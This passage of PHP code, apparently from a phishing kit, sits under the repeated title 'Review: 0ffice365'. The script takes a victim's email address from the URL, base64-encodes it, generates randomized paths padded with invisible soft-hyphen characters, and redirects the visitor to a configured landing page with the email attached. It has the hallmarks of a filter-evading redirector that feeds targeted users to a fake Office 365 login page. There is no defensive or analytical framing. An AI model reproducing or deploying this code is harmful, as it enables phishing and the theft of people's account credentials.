window.location.href = \"$pagelink\"\n"; } die(); } preg_match("/[^\/]+$/", urldecode( $_SERVER[ "REQUEST_URI" ] ), $matches); $data = $matches[0]; function begnWith($str, $begnString) { $len = strlen($begnString); return (substr($str, 0, $len) === $begnString); } if(begnWith($data,"?")) { $data = ltrim($data, '?'); } function endsWith($string, $endString) { $len = strlen($endString); if ($len == 0) { return true; } return (substr($string, -$len) === $endString); } if(endsWith($pagelink,"/")) { $pagelink = rtrim($pagelink, '/'); } if ( base64_encode(base64_decode($data)) === $data){ $email = filter_var(base64_decode($data), FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { if($redirecttype==1 || $redirecttype=='1'){ header("Location: ".$FailRedirect); }else{ echo "\n"; } die(); } else { $email = $data; } } else if(filter_var($data, FILTER_VALIDATE_EMAIL)) { $email = base64_encode($data); } else { if($redirecttype==1 || $redirecttype=='1'){ header("Location: ".$FailRedirect); }else{ echo "\n"; } die(); } function rndString($length=10){return substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyz"),0,$length);};$randpart=$randfirstpart.''.RndString(8).'-'.RndString(4).'-'.RndString(4).'-'.RndString(4).'-'.RndString(12).'_'.RndString(50).''.RndString(50).''.RndString(50); if(($AutoGrab && !isset($_GET['data'])) || (!$AutoGrab && ((isset($_GET['status']) && $_GET['status']!=='putuser' && !isset($_GET['data']))||(!isset($_GET['status'])&&!isset($_GET['data']))) )){$relative_path=dirname($_SERVER['PHP_SELF']);if($fixIndex==true || $fixIndex=="true" || $fixIndex=="TRUE" || $fixIndex=="True"){$fixIndex="index.php?";$fixPart="&data=";}else{$fixIndex="";$fixPart="?data=";};if(!$AutoGrab && ( ( !isset($_GET['status']) && !isset($_GET['data'])) || (isset($_GET['status']) && $_GET['status']!=='putuser')) ){/*$fixPart=str_replace("data","status",$fixPart)*/ if($fixPart=='&data='){$fixPart='&status=';}elseif($fixPart=='?data='){$fixPart='?status=';};$data='putuser';} header("Location: $relative_path/$fixIndex$randpart$fixPart$data");} $rndString1=rndString(7);$rndString2=rndString(8);$rndString3=rndString(6);$rndString4=rndString(5);$RndString1=str_repeat("­",rand(1,3));$RndString2=str_repeat("­",rand(1,3));$RndString3=str_repeat("­",rand(1,3));$RndString4=str_repeat("­",rand(1,3));$RndString5=str_repeat("­",rand(1,3)); if($redirecttype==1 || $redirecttype=='1'){ header("Location: ".$pagelink."/".$email); }else{ echo "\n"; } die(); ?>

Review: 0ffice365

Review: 0ffice365

Review: 0ffice365